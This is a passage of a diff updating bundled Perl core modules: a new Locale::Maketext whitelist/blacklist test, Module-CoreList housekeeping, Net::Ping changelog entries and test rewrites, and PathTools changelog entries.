+is( $@, '', 'no exception thrown by use of custom_handler under default and custom blacklists' );
diff --git a/gnu/usr.bin/perl/dist/Locale-Maketext/t/93_whitelist.t b/gnu/usr.bin/perl/dist/Locale-Maketext/t/93_whitelist.t
new file mode 100644
index 00000000000..21f2d8574e0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Locale-Maketext/t/93_whitelist.t
@@ -0,0 +1,96 @@
+#!/usr/bin/perl -Tw
+
+use strict;
+use warnings;
+use Test::More tests => 17;
+
+BEGIN {
+ use_ok("Locale::Maketext");
+}
+
+{
+
+ package MyTestLocale;
+ no warnings 'once';
+
+ @MyTestLocale::ISA = qw(Locale::Maketext);
+ %MyTestLocale::Lexicon = ();
+}
+
+{
+
+ package MyTestLocale::en;
+ no warnings 'once';
+
+ @MyTestLocale::en::ISA = qw(MyTestLocale);
+
+ %MyTestLocale::en::Lexicon = ( '_AUTO' => 1 );
+
+ sub custom_handler {
+ return "custom_handler_response";
+ }
+
+ sub _internal_method {
+ return "_internal_method_response";
+ }
+
+ sub new {
+ my ( $class, @args ) = @_;
+ my $lh = $class->SUPER::new(@args);
+ $lh->{use_external_lex_cache} = 1;
+ return $lh;
+ }
+}
+
+my $lh = MyTestLocale->get_handle('en');
+my $res;
+
+# _internal_method not blocked by default
+$res = eval { $lh->maketext('[_internal_method]') };
+is( $res, "_internal_method_response", '_internal_method allowed when no whitelist defined' );
+is( $@, '', 'no exception thrown by use of _internal_method without whitelist setting' );
+
+# whitelisting sprintf
+$lh->whitelist('sprintf');
+
+# _internal_method blocked by whitelist
+$res = eval { $lh->maketext('[_internal_method]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, '_internal_method blocked in bracket notation by whitelist' );
+
+# sprintf allowed by whitelist
+$res = eval { $lh->maketext('[sprintf,%s,hello]') };
+is( $res, "hello", 'sprintf allowed in bracket notation by whitelist' );
+is( $@, '', 'no exception thrown by use of sprintf with whitelist' );
+
+# custom_handler blocked by whitelist
+$res = eval { $lh->maketext('[custom_handler]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'custom_handler blocked in bracket notation by whitelist' );
+
+# adding custom_handler to whitelist
+$lh->whitelist('custom_handler');
+
+# sprintf still allowed by whitelist
+$res = eval { $lh->maketext('[sprintf,%s,hello]') };
+is( $res, "hello", 'sprintf allowed in bracket notation by whitelist' );
+is( $@, '', 'no exception thrown by use of sprintf with whitelist' );
+
+# custom_handler allowed by whitelist
+$res = eval { $lh->maketext('[custom_handler]') };
+is( $res, "custom_handler_response", 'custom_handler allowed in bracket notation by whitelist' );
+is( $@, '', 'no exception thrown by use of custom_handler with whitelist' );
+
+# _internal_method blocked by whitelist
+$res = eval { $lh->maketext('[_internal_method]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, '_internal_method blocked in bracket notation by whitelist' );
+
+# adding fail_with to whitelist
+$lh->whitelist('fail_with');
+
+# fail_with still blocked by blacklist
+$res = eval { $lh->maketext('[fail_with,xyzzy]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'fail_with blocked in bracket notation by blacklist even when whitelisted' );
+
diff --git a/gnu/usr.bin/perl/dist/Module-CoreList/MANIFEST b/gnu/usr.bin/perl/dist/Module-CoreList/MANIFEST
index 9b2b2020e6b..174e5080c5e 100644
--- a/gnu/usr.bin/perl/dist/Module-CoreList/MANIFEST
+++ b/gnu/usr.bin/perl/dist/Module-CoreList/MANIFEST
@@ -3,7 +3,6 @@ corelist
identify-dependencies
lib/Module/CoreList.pm
lib/Module/CoreList.pod
-lib/Module/CoreList/TieHashDelta.pm
lib/Module/CoreList/Utils.pm
README
MANIFEST
@@ -13,6 +12,7 @@ t/corelist.t
t/deprecated.t
t/find_modules.t
t/is_core.t
+t/maintainer.t
t/pod.t
t/utils.t
META.json Module JSON meta-data (added by MakeMaker)
diff --git a/gnu/usr.bin/perl/dist/Module-CoreList/Makefile.PL b/gnu/usr.bin/perl/dist/Module-CoreList/Makefile.PL
index abe12d9ddae..6abce521014 100644
--- a/gnu/usr.bin/perl/dist/Module-CoreList/Makefile.PL
+++ b/gnu/usr.bin/perl/dist/Module-CoreList/Makefile.PL
@@ -25,13 +25,6 @@ WriteMakefile
'INSTALLDIRS' => ($] < 5.011 ? 'perl' : 'site'),
'PL_FILES' => {},
LICENSE => 'perl',
- META_MERGE => {
- resources => {
- repository => 'git://perl5.git.perl.org/perl.git',
- bugtracker => 'https://rt.perl.org/rt3/',
- homepage => "http://dev.perl.org/",
- },
- },
@extra,
)
;
diff --git a/gnu/usr.bin/perl/dist/Module-CoreList/identify-dependencies b/gnu/usr.bin/perl/dist/Module-CoreList/identify-dependencies
index 1e33f2d193a..faa88f2f0fb 100644
--- a/gnu/usr.bin/perl/dist/Module-CoreList/identify-dependencies
+++ b/gnu/usr.bin/perl/dist/Module-CoreList/identify-dependencies
@@ -3,7 +3,7 @@ use strict;
use warnings;
use Module::CoreList;
-use vars qw/%modules/;
+our %modules;
my @files = @ARGV;
unless (@files) {
diff --git a/gnu/usr.bin/perl/dist/Module-CoreList/t/find_modules.t b/gnu/usr.bin/perl/dist/Module-CoreList/t/find_modules.t
index 112f77f8f46..7f1c408c21f 100755
--- a/gnu/usr.bin/perl/dist/Module-CoreList/t/find_modules.t
+++ b/gnu/usr.bin/perl/dist/Module-CoreList/t/find_modules.t
@@ -5,20 +5,20 @@ use Test::More tests => 6;
BEGIN { require_ok('Module::CoreList'); }
-is_deeply([ Module::CoreList->find_modules(qr/warnings/) ],
+is_deeply([ Module::CoreList->find_modules(qr/warnings/) ],
[ qw(encoding::warnings warnings warnings::register) ],
'qr/warnings/');
-is_deeply([ Module::CoreList->find_modules(qr/IPC::Open/) ],
+is_deeply([ Module::CoreList->find_modules(qr/IPC::Open/) ],
[ qw(IPC::Open2 IPC::Open3) ],
'qr/IPC::Open/');
is_deeply([ Module::CoreList->find_modules(qr/Module::/, 5.008008) ], [], 'qr/Module::/ at 5.008008');
-is_deeply([ Module::CoreList->find_modules(qr/Test::H.*::.*s/, 5.006001, 5.007003) ],
+is_deeply([ Module::CoreList->find_modules(qr/Test::H.*::.*s/, 5.006001, 5.007003) ],
[ qw(Test::Harness::Assert Test::Harness::Straps) ],
'qr/Test::H.*::.*s/ at 5.006001 and 5.007003');
is_deeply([ Module::CoreList::find_modules(qr/Module::CoreList/) ],
- [ qw(Module::CoreList Module::CoreList::TieHashDelta Module::CoreList::Utils) ],
+ [ qw(Module::CoreList Module::CoreList::TieHashDelta Module::CoreList::Utils) ],
'Module::CoreList functional' );
diff --git a/gnu/usr.bin/perl/dist/Module-CoreList/t/maintainer.t b/gnu/usr.bin/perl/dist/Module-CoreList/t/maintainer.t
new file mode 100644
index 00000000000..1fe707f5e19
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Module-CoreList/t/maintainer.t
@@ -0,0 +1,30 @@
+use strict;
+use warnings;
+use Test::More;
+
+plan skip_all => 'These tests only run in core'
+ unless $ENV{PERL_CORE};
+
+my @mods = qw[
+Module::CoreList
+Module::CoreList::Utils
+];
+
+plan tests => 3 + scalar @mods;
+
+my %vers;
+
+foreach my $mod ( @mods ) {
+ use_ok($mod);
+ $vers{ $mod->VERSION }++;
+}
+
+is( scalar keys %vers, 1, 'All Module-CoreList modules should have the same $VERSION' );
+
+# Check that there is a release entry for the current perl version
+my $released = $Module::CoreList::released{ $] };
+# duplicate fetch to avoid 'used only once: possible typo' warning
+$released = $Module::CoreList::released{ $] };
+
+ok( defined $released, "There is a released entry for $]" );
+like( $released, qr!^\d{4}\-\d{2}\-\d{2}$!, 'It should be a date in YYYY-MM-DD format' );
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/Changes b/gnu/usr.bin/perl/dist/Net-Ping/Changes
index fa26c68f93f..2da51e7a255 100644
--- a/gnu/usr.bin/perl/dist/Net-Ping/Changes
+++ b/gnu/usr.bin/perl/dist/Net-Ping/Changes
@@ -1,5 +1,116 @@
CHANGES
-------
+2.61 Sat Jun 17 13:12:58 CEST 2017 (rurban)
+ Bugfixes
+ - Fix ping_udp for a started udp echo server (PR#5 by Stephan Loyd)
+
+2.60 Mon Jun 12 20:14:13 CEST 2017 (rurban)
+ Bugfixes
+ - Fix t/400_ping_syn.t phases
+ - Try to handle Windows Socket::getnameinfo errors
+ - Improve some tests on missing network connections
+
+2.59 Tue Apr 18 08:46:48 2017 +0200 (rurban)
+ Bugfixes
+ - skip udp ping tests on more platforms: hpux, irix, aix.
+ also pingecho on os390.
+ (from perl5 core)
+ Features
+ - added a make release target
+
+2.58 Wed Feb 1 19:34:03 CET 2017 (rurban)
+ Features
+ - return the port num as 5th return value with ack (jfraire)
+
+2.57 Wed Feb 1 19:34:03 CET 2017 (rurban)
+ Bugfixes
+ - Resigned with new gpg key
+
+2.56 Wed Jan 18 16:00:00 2017 -0700 (bbb)
+ Bugfixes
+ - Stabilize tests
+
+2.55 Thu Oct 20 09:16:06 2016 +0200 (rurban)
+
+ Bugfixes
+ - Skip sudo for t/500_ping_icmp.t if a prompt is required
+ [RT #118451]
+
+2.54 Thu Oct 20 09:16:06 2016 +0200 (rurban)
+
+ Bugfixes
+ - Fixed ping_external argument type, either packed ip or hostname.
+ [RT #113825]
+ - Fixed wrong skip message in t/020_external.t
+
+2.53 Thu Oct 20 09:16:06 2016 +0200 (rurban)
+
+ Bugfixes
+ - Relax icmp tests on local firewalls, eg. as here on windows reported
+ by kmx. [RT #118441]
+
+ Internals
+ - Enhanced .travis.yml
+
+2.52 Tue Oct 18 16:29:29 2016 +0200 (rurban)
+ version in cperl since 5.25.2c
+
+ Bugfixes
+ - Fixed _pack_sockaddr_in for a proper 2nd argument type, hash or packed address.
+ - Improved 500_ping_icmp.t to try sudo.
+
+ Internals
+ - Converted all hash string keys to bare.
+
+2.51 Mon Oct 17 16:11:03 2016 +0200 (rurban)
+ version in cperl since 5.25.2c
+
+ Bugfixes
+ - Fixed missing _unpack_sockaddr_in family, which took AF_INET6 for
+ a AF_INET addr in t/500_ping_icmp.t and t/500_ping_icmp_ttl.t.
+ Use now a proper default.
+
+2.50 Sat Apr 16 11:50:20 2016 +0200 (rurban)
+ version in cperl since 5.22.2c
+
+ Features
+ - Handle IPv6 addresses and the AF_INET6 family.
+ - Added the optional family argument to most methods.
+ valid values: 6, "v6", "ip6", "ipv6", AF_INET6
+ - new can take now named arguments, a hashref.
+ - Added the following named arguments to new:
+ gateway host port bind retrans pingstring source_verify econnrefused
+ IPV6_USE_MIN_MTU IPV6_RECVPATHMTU IPV6_HOPLIMIT
+ - Added a dontfrag option, setting IP_DONTFRAG and on linux
+ also IP_MTU_DISCOVER to IP_PMTUDISC_DO. Note that is ignored if
+ Socket does not export IP_DONTFRAG.
+ - Added the wakeonlan method
+ - Improve argument default handling
+ - Added missing documentation
+
+ Bugfixes
+ - Reapply tos with ping_udp, when the address is changed.
+ RT #6706 (Torgny.Hofstedt@sevenlevels.se)
+ ditto re-bind to a device.
+
+ Internals
+ - $ip is now a hash with {addr, addr_in, family} not the addr_in packed IP.
+ - added _resolv replacing inet_aton,
+ _pack_sockaddr_in and _unpack_sockaddr_in replacing sockaddr_in,
+ _inet_ntoa replacing inet_ntoa
+ - Use _isroot helper, with Win32 _IsAdminUser helper.
+ - added several new tests (Steve Peters)
+
+2.43 Mon Apr 29 00:23:56 2013 -0300
+ version in perl core since 5.19.9
+ Bugfixes
+ - Handle getprotobyn{ame,umber} not being available
+2.42 Sun May 26 19:08:46 2013 -0700
+ version in perl core since 5.19.1
+ Bugfixes
+ - Stabilize tests
+ Internals
+ - wrap long pod lines
2.41 Mar 17 09:35 2013
Bugfixes
- Windows Vista does not appear to support inet_ntop(). It seems to
@@ -7,31 +118,31 @@ CHANGES
and passing in the NI_NUMERICHOST to get an IP address.
Features
- Change Net::Ping to use Time::HiRes::time() instead of CORE::time()
- by default. For most successful cases, CORE::time() returned zero.
+ by default. For most successful cases, CORE::time() returned zero.
2.40 Mar 15 11:20 2013
Bugfixes
- - several fixes to tests to stop the black smoke on Win32's
+ - several fixes to tests to stop the black smoke on Win32's
and Cygwin since the core updated the module to Test::More.
I had planned a later release, but all the black smoke is
forcing a release.
- - fixes to some skips in tests that were still using the
+ - fixes to some skips in tests that were still using the
Test style skip's.
- Documentation fix for https://rt.cpan.org/Ticket/Display.html?id=48014.
Thanks to Keith Taylor <keith@supanet.net.uk>
- - Instead of using a hard-coded TOS value, import IP_TOS from
- Socket. This fixes an outstanding bug on Solaris which uses a
+ - Instead of using a hard-coded TOS value, import IP_TOS from
+ Socket. This fixes an outstanding bug on Solaris which uses a
different value for IP_TOS in it headers than Linux. I'm assuming
other OS's were fixed with this change as well.
Features
- - added TTL handling for icmp pings to allow traceroute like
- applications to be built with Net::Ping. Thanks to
+ - added TTL handling for icmp pings to allow traceroute like
+ applications to be built with Net::Ping. Thanks to
<rolek@bokxing.nl> for the patch and tests!
Internals
- - replaced SOL_IP with IPPROTO_IP. SOL_IP is not portable and was
+ - replaced SOL_IP with IPPROTO_IP. SOL_IP is not portable and was
hard-coded anyway.
- - added IPPROTO_IP, IP_TOS, IP_TTL, and AF_INET to the list of Socket
+ - added IPPROTO_IP, IP_TOS, IP_TTL, and AF_INET to the list of Socket
constants imported.
- removed some hard-coded constants.
- converted all calls to inet_ntoa() to inet_ntop() in preparation
@@ -56,7 +167,7 @@ CHANGES
- release to include a few fixes from the Perl core
2.35 Feb 08 14:42 2008
- - Patch in Perl change #33242 by Nicholas Clark
+ - Patch in Perl change #33242 by Nicholas Clark
<http://perl5.git.perl.org/perl.git/commit/5d6b07c5a4c042580b85248d570ee299fd102a79>
2.34 Dec 19 08:51 2007
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/000_load.t b/gnu/usr.bin/perl/dist/Net-Ping/t/000_load.t
new file mode 100644
index 00000000000..87f55d93d95
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/000_load.t
@@ -0,0 +1,16 @@
+#!perl -T
+use 5.006;
+use strict;
+use warnings FATAL => 'all';
+use Test::More;
+
+plan tests => 3;
+
+BEGIN {
+ use_ok( 'Socket' ) || print "No Socket!\n";
+ use_ok( 'Time::HiRes' ) || print "No Time::HiRes!\n";
+ use_ok( 'Net::Ping' ) || print "No Net::Ping!\n";
+}
+
+note( "Testing Net::Ping $Net::Ping::VERSION, Perl $], $^X" );
+
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/001_new.t b/gnu/usr.bin/perl/dist/Net-Ping/t/001_new.t
new file mode 100644
index 00000000000..a51279e0a6c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/001_new.t
@@ -0,0 +1,73 @@
+use warnings;
+use strict;
+
+BEGIN {
+ unless (my $port = getservbyname('echo', 'tcp')) {
+ print "1..0 \# Skip: no echo port\n";
+ exit;
+ }
+}
+
+use Test::More qw(no_plan);
+BEGIN {use_ok('Net::Ping')};
+
+# plain ol' constuctor call
+my $p = Net::Ping->new();
+isa_ok($p, "Net::Ping");
+
+# call new from an instantiated object
+my $p2 = $p->new();
+isa_ok($p2, "Net::Ping");
+
+# named args
+my $p3 = Net::Ping->new({proto => 'tcp', ttl => 5});
+isa_ok($p3, "Net::Ping");
+
+# check for invalid proto
+eval {
+ $p = Net::Ping->new("thwackkk");
+};
+like($@, qr/Protocol for ping must be "icmp", "icmpv6", "udp", "tcp", "syn", "stream" or "external"/, "new() errors for invalid protocol");
+
+# check for invalid timeout
+eval {
+ $p = Net::Ping->new("tcp", -1);
+};
+like($@, qr/Default timeout for ping must be greater than 0 seconds/, "new() errors for invalid timeout");
+
+# check for invalid data sizes
+eval {
+ $p = Net::Ping->new("udp", 10, -1);
+};
+like($@, qr/Data for ping must be from/, "new() errors for invalid data size");
+
+eval {
+ $p = Net::Ping->new("udp", 10, 1025);
+};
+like($@, qr/Data for ping must be from/, "new() errors for invalid data size");
+
+# force failures for udp
+
+
+# force failures for tcp
+SKIP: {
+ note "Checking icmp";
+ eval { $p = Net::Ping->new('icmp'); };
+ skip "icmp ping requires root privileges.", 3
+ if !Net::Ping::_isroot() or $^O eq 'MSWin32';
+ if($> and $^O ne 'VMS' and $^O ne 'cygwin') {
+ like($@, qr/icmp ping requires root privilege/, "Need root for icmp");
+ skip "icmp tests require root", 2;
+ } else {
+ isa_ok($p, "Net::Ping");
+ }
+
+ # set IP TOS to "Minimum Delay"
+ $p = Net::Ping->new("icmp", undef, undef, undef, 8);
+ isa_ok($p, "Net::Ping");
+
+ # This really shouldn't work. Not sure who to blame.
+ $p = Net::Ping->new("icmp", undef, undef, undef, "does this fail");
+ isa_ok($p, "Net::Ping");
+}
+
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/010_pingecho.t b/gnu/usr.bin/perl/dist/Net-Ping/t/010_pingecho.t
new file mode 100644
index 00000000000..90a934a0b10
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/010_pingecho.t
@@ -0,0 +1,19 @@
+use warnings;
+use strict;
+
+BEGIN {
+ unless (my $port = getservbyname('echo', 'tcp')) {
+ print "1..0 \# Skip: no echo port\n";
+ exit;
+ }
+}
+
+use Test::More tests => 2;
+BEGIN {use_ok('Net::Ping')};
+
+TODO: {
+ local $TODO = "Not working on os390 smoker; may be a permissions problem"
+ if $^O eq 'os390';
+ my $result = pingecho("127.0.0.1");
+ is($result, 1, "pingecho works");
+}
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/110_icmp_inst.t b/gnu/usr.bin/perl/dist/Net-Ping/t/110_icmp_inst.t
index deddd8f8415..b7f02084f3b 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/110_icmp_inst.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/110_icmp_inst.t
@@ -20,18 +20,7 @@ BEGIN {use_ok('Net::Ping')};
SKIP: {
skip "icmp ping requires root privileges.", 1
- if ($> and $^O ne 'VMS' and $^O ne 'cygwin')
- or (($^O eq 'MSWin32' or $^O eq 'cygwin')
- and !IsAdminUser())
- or ($^O eq 'VMS'
- and (`write sys\$output f\$privilege("SYSPRV")` =~ m/FALSE/));
+ unless &Net::Ping::_isroot;
my $p = new Net::Ping "icmp";
isa_ok($p, 'Net::Ping', 'object can be instantiated for icmp protocol');
}
-
-sub IsAdminUser {
- return unless $^O eq 'MSWin32' or $^O eq 'cygwin';
- return unless eval { require Win32 };
- return unless defined &Win32::IsAdminUser;
- return Win32::IsAdminUser();
-}
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/200_ping_tcp.t b/gnu/usr.bin/perl/dist/Net-Ping/t/200_ping_tcp.t
index 8ef4fb78fbc..a26b2f1b3d3 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/200_ping_tcp.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/200_ping_tcp.t
@@ -28,7 +28,7 @@ BEGIN {
#
# $ PERL_CORE=1 make test
-use Test::More tests => 13;
+use Test::More tests => 12;
BEGIN {use_ok('Net::Ping');}
my $p = new Net::Ping "tcp",9;
@@ -50,8 +50,13 @@ is($p->ping("172.29.249.249"), 0, "Can't reach 172.29.249.249");
# Test a few remote servers
# Hopefully they are up when the tests are run.
-foreach (qw(www.geocities.com www.wisc.edu
- www.freeservers.com ftp.freeservers.com
- yahoo.com www.yahoo.com www.about.com)) {
+if ($p->ping('google.com')) { # check for firewall
+ foreach (qw(google.com www.google.com www.wisc.edu
+ yahoo.com www.yahoo.com www.about.com)) {
isnt($p->ping($_), 0, "Can ping $_");
+ }
+} else {
+ SKIP: {
+ skip "Cannot ping google.com: no TCP connection or firewall", 6;
+ }
}
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/400_ping_syn.t b/gnu/usr.bin/perl/dist/Net-Ping/t/400_ping_syn.t
index e1cfcba2eaf..edad0fc5fca 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/400_ping_syn.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/400_ping_syn.t
@@ -4,7 +4,7 @@ BEGIN {
if ($ENV{PERL_CORE}) {
unless ($ENV{PERL_TEST_Net_Ping}) {
print "1..0 # Skip: network dependent test\n";
- exit;
+ exit;
}
}
unless (eval "require Socket") {
@@ -33,25 +33,22 @@ BEGIN {
# $ PERL_CORE=1 make test
# Try a few remote servers
-my %webs;
-BEGIN {
- %webs = (
+my %webs = (
# Hopefully this is never a routeable host
"172.29.249.249" => 0,
# Hopefully all these web ports are open
- "www.geocities.com." => 1,
"www.freeservers.com." => 1,
"yahoo.com." => 1,
"www.yahoo.com." => 1,
"www.about.com." => 1,
"www.microsoft.com." => 1,
);
-}
-use Test::More tests => 3 + 2 * keys %webs;
+use Test::More;
+plan tests => 3 + 2 * keys %webs;
-BEGIN {use_ok('Net::Ping')};
+use_ok('Net::Ping');
my $can_alarm = eval {alarm 0; 1;};
@@ -73,6 +70,13 @@ isa_ok($p, 'Net::Ping', 'new() worked');
# (Make sure getservbyname works in scalar context.)
cmp_ok(($p->{port_num} = getservbyname("http", "tcp")), '>', 0, 'valid port');
+# check if network is up
+eval { $p->ping('www.google.com.'); };
+if ($@ =~ /getaddrinfo.*failed/) {
+ ok(1, "skip $@");
+ ok(1, "skip") for 0..12;
+ exit;
+}
foreach my $host (keys %webs) {
# ping() does dns resolution and
# only sends the SYN at this point
@@ -80,13 +84,23 @@ foreach my $host (keys %webs) {
is($p->ping($host), 1, "Can reach $host [" . ($p->{bad}->{$host} || "") . "]");
}
+my $failed;
Alarm(20);
while (my $host = $p->ack()) {
- is($webs{$host}, 1, "supposed to be up: http://$host/");
+ next if $host eq 'www.google.com.';
+ $failed += !is($webs{$host}, 1, "supposed to be up: http://$host/");
delete $webs{$host};
}
Alarm(0);
foreach my $host (keys %webs) {
- is($webs{$host}, 0, "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ $failed += !is($webs{$host}, 0,
+ "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+}
+
+if ($failed) {
+ diag ("NOTE: ",
+ "Network connectivity will be required for all tests to pass.\n",
+ "Firewalls may also cause some tests to fail, so test it ",
+ "on a clear network.");
}
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/410_syn_host.t b/gnu/usr.bin/perl/dist/Net-Ping/t/410_syn_host.t
index 82b38203722..8e89e32ac8d 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/410_syn_host.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/410_syn_host.t
@@ -41,7 +41,7 @@ BEGIN {
"172.29.249.249" => 0,
# Hopefully all these web ports are open
- "www.geocities.com." => 1,
+ "www.google.com." => 1,
"www.freeservers.com." => 1,
"yahoo.com." => 1,
"www.yahoo.com." => 1,
@@ -69,11 +69,11 @@ $SIG{ALRM} = sub {
my $p = new Net::Ping "syn", 10;
-isa_ok($p, 'Net::Ping', 'new() worked');
+isa_ok($p, 'Net::Ping', 'new(syn, 10) worked');
# Change to use the more common web port.
# (Make sure getservbyname works in scalar context.)
-cmp_ok(($p->{port_num} = getservbyname("http", "tcp")), '>', 0, 'vaid port');
+cmp_ok(($p->{port_num} = getservbyname("http", "tcp")), '>', 0, 'valid port');
foreach my $host (keys %webs) {
# ping() does dns resolution and
@@ -86,9 +86,17 @@ Alarm(20);
foreach my $host (sort keys %webs) {
my $on = $p->ack($host);
if ($on) {
- is($webs{$host}, 1, "supposed to be up: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
- } else {
- is($webs{$host}, 0, "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ if ($webs{$host}) {
+ is($webs{$host}, 1, "ack: supposed to be up http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ } else {
+ ok("TODO ack: supposed to be up: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ }
+ } else {
+ if (!$webs{$host}) {
+ is($webs{$host}, 0, "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ } else {
+ ok("TODO ack: supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]");
+ }
}
delete $webs{$host};
Alarm(20);
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/500_ping_icmp.t b/gnu/usr.bin/perl/dist/Net-Ping/t/500_ping_icmp.t
index 62855ff54f0..a9175bae7bd 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/500_ping_icmp.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/500_ping_icmp.t
@@ -4,34 +4,31 @@
use strict;
use Config;
+use Test::More;
BEGIN {
unless (eval "require Socket") {
- print "1..0 \# Skip: no Socket\n";
- exit;
+ plan skip_all => 'no Socket';
}
unless ($Config{d_getpbyname}) {
- print "1..0 \# Skip: no getprotobyname\n";
- exit;
+ plan skip_all => 'no getprotobyname';
}
}
-use Test::More tests => 2;
BEGIN {use_ok('Net::Ping')};
SKIP: {
skip "icmp ping requires root privileges.", 1
- if ($> and $^O ne 'VMS' and $^O ne 'cygwin')
- or (($^O eq 'MSWin32' or $^O eq 'cygwin')
- and !IsAdminUser())
- or ($^O eq 'VMS'
- and (`write sys\$output f\$privilege("SYSPRV")` =~ m/FALSE/));
+ if !Net::Ping::_isroot() or $^O eq 'MSWin32';
my $p = new Net::Ping "icmp";
- is($p->ping("127.0.0.1"), 1, "icmp ping 127.0.0.1");
+ my $result = $p->ping("127.0.0.1");
+ if ($result == 1) {
+ is($result, 1, "icmp ping 127.0.0.1");
+ } else {
+ TODO: {
+ local $TODO = "icmp firewalled?";
+ is($result, 1, "icmp ping 127.0.0.1");
+ }
+ }
}
-sub IsAdminUser {
- return unless $^O eq 'MSWin32' or $^O eq "cygwin";
- return unless eval { require Win32 };
- return unless defined &Win32::IsAdminUser;
- return Win32::IsAdminUser();
-}
+done_testing;
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/510_ping_udp.t b/gnu/usr.bin/perl/dist/Net-Ping/t/510_ping_udp.t
index aa48e9008b9..025e9803927 100755
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/510_ping_udp.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/510_ping_udp.t
@@ -21,6 +21,7 @@ SKIP: {
skip "No udp echo port", 1 unless getservbyname('echo', 'udp');
skip "udp ping blocked by Window's default settings", 1 if isWindowsVista();
skip "No getprotobyname", 1 unless $Config{d_getpbyname};
+ skip "Not allowed on $^O", 1 if $^O =~ /^(hpux|irix|aix)$/;
my $p = new Net::Ping "udp";
is($p->ping("127.0.0.1"), 1);
}
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/t/520_icmp_ttl.t b/gnu/usr.bin/perl/dist/Net-Ping/t/520_icmp_ttl.t
index 75c8c49586e..d68793aa6fa 100644
--- a/gnu/usr.bin/perl/dist/Net-Ping/t/520_icmp_ttl.t
+++ b/gnu/usr.bin/perl/dist/Net-Ping/t/520_icmp_ttl.t
@@ -19,11 +19,7 @@ BEGIN {use_ok('Net::Ping')};
SKIP: {
skip "icmp ping requires root privileges.", 1
- if ($> and $^O ne 'VMS' and $^O ne 'cygwin')
- or (($^O eq 'MSWin32' or $^O eq 'cygwin')
- and !IsAdminUser())
- or ($^O eq 'VMS'
- and (`write sys\$output f\$privilege("SYSPRV")` =~ m/FALSE/));
+ if !Net::Ping::_isroot() or $^O eq 'MSWin32';
my $p = new Net::Ping ("icmp",undef,undef,undef,undef,undef);
isa_ok($p, 'Net::Ping');
ok $p->ping("127.0.0.1");
@@ -44,10 +40,3 @@ SKIP: {
ok $p->ping("127.0.0.1");
$p->close();
}
-
-sub IsAdminUser {
- return unless $^O eq 'MSWin32' or $^O eq "cygwin";
- return unless eval { require Win32 };
- return unless defined &Win32::IsAdminUser;
- return Win32::IsAdminUser();
-}
diff --git a/gnu/usr.bin/perl/dist/PathTools/Changes b/gnu/usr.bin/perl/dist/PathTools/Changes
index 09e977aa987..722655285e1 100644
--- a/gnu/usr.bin/perl/dist/PathTools/Changes
+++ b/gnu/usr.bin/perl/dist/PathTools/Changes
@@ -1,5 +1,47 @@
Revision history for Perl distribution PathTools.
+3.74
+- No changes.
+
+3.73
+- Define NEED_croak_xs_usage, fixing usage of croak_xs_usage()
+- [perl #132853] Add metadata (ABSTRACT, LICENSE, AUTHOR)
+- [perl #132733] Skip cwd_enoent test on Cygwin
+- [perl #132651] Avoid infinite recursion in _perl_abs_path()
+- [rt.cpan.org #114236] Compatibility with File::Path 2.06_04
+
+3.72
+- [perl #132648] Correct error returns from fast_abs_path()
+
+3.71
+- [perl #130818] Remove support for running PathTools on MacOS
+ and EPOC
+
+3.70
+- Change strcmp into the easier to read strEQ
+
+3.69
+- avoid loading modules repeatedly at runtime
+- replace 'use vars' by 'our'
+- Switch to XSLoader from Dynaloader
+
+3.68
+- avoid warning from pre-5.8 code for detecting tainted values
+- make taint.t detect that a pre-5.8 Perl supports tainting
+- avoid a dynamic linking problem on Perl 5.6
+
+3.67 - Mon Feb 27 09:33:04 EST 2017
+- Add security usage note to File::Spec::no_upwards
+
+3.66 - Sat Nov 19 10:30:19 MST 2016
+- white space change so can compile under C++11
+
+3.65 - Mon, 25 Jul 2016 23:15:33 -0700
+- (perl #127384)(CVE-2016-1238)
+
+3.64 - Tue May 24 10:00:19 MST 2016
+- just minor pod changes to silence Pod::Checker
+
3.62 - Mon Jan 11 08:39:19 EST 2016
- ensure File::Spec::canonpath() preserves taint (CVE-2015-8607)
diff --git a/gnu/usr.bin/perl/dist/PathTools/MANIFEST b/gnu/usr.bin/perl/dist/PathTools/MANIFEST
new file mode 100644
index 00000000000..84d5058476b
